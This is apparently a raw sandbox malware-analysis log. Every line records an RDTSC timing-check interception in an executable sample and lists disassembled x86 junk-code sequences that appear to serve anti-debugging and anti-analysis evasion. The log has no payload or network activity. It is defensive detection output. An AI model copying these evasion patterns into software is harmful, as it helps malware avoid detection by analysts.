Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3270E9 second address: 32715E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 or dword ptr [ebp+122D1F04h], edi 0x0000000c push 00000000h 0x0000000e mov dword ptr [ebp+122D3775h], eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F9B30E293B8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 jnp 00007F9B30E293BCh 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jmp 00007F9B30E293C6h 0x0000003f jmp 00007F9B30E293C5h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 32715E second address: 327180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829930h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c jng 00007F9B30829926h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 327180 second address: 327184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 328176 second address: 32819D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnc 00007F9B30829926h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F9B30829936h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 32819D second address: 328211 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9B30E293B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F9B30E293B8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 sub bl, FFFFFF95h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F9B30E293B8h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 mov ebx, dword ptr [ebp+122D2BCEh] 0x0000004c mov edi, 3F5AC9F2h 0x00000051 xchg eax, esi 0x00000052 jmp 00007F9B30E293BEh 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push edx 0x0000005b push eax 0x0000005c pop eax 0x0000005d pop edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 32AA7D second address: 32AA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33141A second address: 331425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 330D0B second address: 330D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F9B30829926h 0x0000000e jmp 00007F9B30829930h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 330E6A second address: 330E71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 330FDE second address: 330FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F9B30829926h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 335022 second address: 335028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 335028 second address: 33502C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33502C second address: 335030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3351B7 second address: 335251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F9B30829939h 0x0000000d pushad 0x0000000e jmp 00007F9B30829938h 0x00000013 jmp 00007F9B30829938h 0x00000018 popad 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jmp 00007F9B30829939h 0x00000023 mov eax, dword ptr [eax] 0x00000025 jmp 00007F9B30829939h 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push ecx 0x00000031 je 00007F9B30829926h 0x00000037 pop ecx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33A858 second address: 33A85C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33A85C second address: 33A875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F9B3082992Fh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33AD16 second address: 33AD1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33AE65 second address: 33AE6B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33AE6B second address: 33AE78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F9B30E293B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33AE78 second address: 33AE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33AE80 second address: 33AE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33B016 second address: 33B01A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33F83C second address: 33F846 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9B30E293B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33F846 second address: 33F84C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33F9D0 second address: 33F9D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33FB3C second address: 33FB43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33FB43 second address: 33FB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33FF2F second address: 33FF77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829933h 0x00000007 push ebx 0x00000008 jmp 00007F9B30829937h 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F9B3082992Ah 0x0000001c jnc 00007F9B30829926h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33FF77 second address: 33FF8D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F9B30E293B6h 0x00000010 jbe 00007F9B30E293B6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3400FC second address: 340102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 340102 second address: 340119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edi 0x0000000d push ebx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 340119 second address: 34011F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 34038D second address: 340393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 340393 second address: 340397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 340397 second address: 34039F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 34039F second address: 3403A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 34050A second address: 34050E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 34050E second address: 340514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 340677 second address: 3406AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9B30E293C6h 0x0000000d ja 00007F9B30E293C7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3406AC second address: 3406B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3406B2 second address: 3406B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 340B30 second address: 340B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33F40D second address: 33F417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33F417 second address: 33F41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 33F41D second address: 33F421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3463B4 second address: 3463B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30B6E6 second address: 2F24E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F9B30E293B8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov dh, A1h 0x00000026 call dword ptr [ebp+122D2AF2h] 0x0000002c pushad 0x0000002d jnc 00007F9B30E293C2h 0x00000033 jmp 00007F9B30E293C5h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30BCB5 second address: 30BCD8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9B3082992Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jl 00007F9B30829928h 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30BCD8 second address: 30BCF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F9B30E293BBh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 js 00007F9B30E293BEh 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30BCF8 second address: 30BD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 movzx edx, dx 0x00000009 push F2AF9B6Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F9B3082992Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30BD72 second address: 30BD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30BD76 second address: 30BD7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30BDCA second address: 30BDCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30BDCE second address: 30BE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jl 00007F9B3082992Eh 0x0000000e xchg eax, esi 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F9B30829928h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 stc 0x0000002a nop 0x0000002b pushad 0x0000002c push edx 0x0000002d jmp 00007F9B3082992Fh 0x00000032 pop edx 0x00000033 push ebx 0x00000034 je 00007F9B30829926h 0x0000003a pop ebx 0x0000003b popad 0x0000003c push eax 0x0000003d pushad 0x0000003e push edx 0x0000003f jnc 00007F9B30829926h 0x00000045 pop edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jng 00007F9B30829926h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C191 second address: 30C1AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9B30E293C1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C1AC second address: 30C1B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C5C2 second address: 30C5CC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9B30E293B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C5CC second address: 30C5F1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D2ACBh], edx 0x00000011 push 0000001Eh 0x00000013 mov dword ptr [ebp+122D1E54h], ebx 0x00000019 nop 0x0000001a ja 00007F9B30829930h 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C5F1 second address: 30C60A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F9B30E293C1h 0x0000000e jmp 00007F9B30E293BBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C60A second address: 30C60F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 321F58 second address: 321F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 322F85 second address: 322F99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829930h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3230AE second address: 3230B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3230B3 second address: 3230B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 328455 second address: 32845A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3292C5 second address: 329384 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e js 00007F9B3082992Ch 0x00000014 mov edi, dword ptr [ebp+122D2D6Ah] 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push esi 0x00000022 sub dword ptr [ebp+124901EFh], ecx 0x00000028 pop ebx 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 mov ebx, dword ptr [ebp+122D25A8h] 0x00000036 mov eax, dword ptr [ebp+122D0875h] 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F9B30829928h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 push FFFFFFFFh 0x00000058 jno 00007F9B30829929h 0x0000005e sub bx, B027h 0x00000063 nop 0x00000064 pushad 0x00000065 jmp 00007F9B3082992Fh 0x0000006a pushad 0x0000006b jmp 00007F9B30829939h 0x00000070 pushad 0x00000071 popad 0x00000072 popad 0x00000073 popad 0x00000074 push eax 0x00000075 pushad 0x00000076 jnl 00007F9B30829936h 0x0000007c push eax 0x0000007d push edx 0x0000007e jnp 00007F9B30829926h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C93D second address: 30C941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C941 second address: 30C97D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 jc 00007F9B30829926h 0x00000018 popad 0x00000019 jnc 00007F9B3082992Ch 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 push ebx 0x00000023 jbe 00007F9B30829928h 0x00000029 push edi 0x0000002a pop edi 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push ecx 0x00000033 push edx 0x00000034 pop edx 0x00000035 pop ecx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C97D second address: 30C983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30C983 second address: 30C987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 30B6C5 second address: 30B6E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F9B30E293B6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 345837 second address: 34583D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 345C6C second address: 345C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 345C73 second address: 345CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9B30829935h 0x00000009 jmp 00007F9B30829932h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3490D4 second address: 3490DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3490DD second address: 3490E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3490E3 second address: 3490E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3490E7 second address: 3490F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9B30829926h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3490F3 second address: 349118 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9B30E293BEh 0x00000008 jno 00007F9B30E293B6h 0x0000000e jp 00007F9B30E293B6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 349118 second address: 34911C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
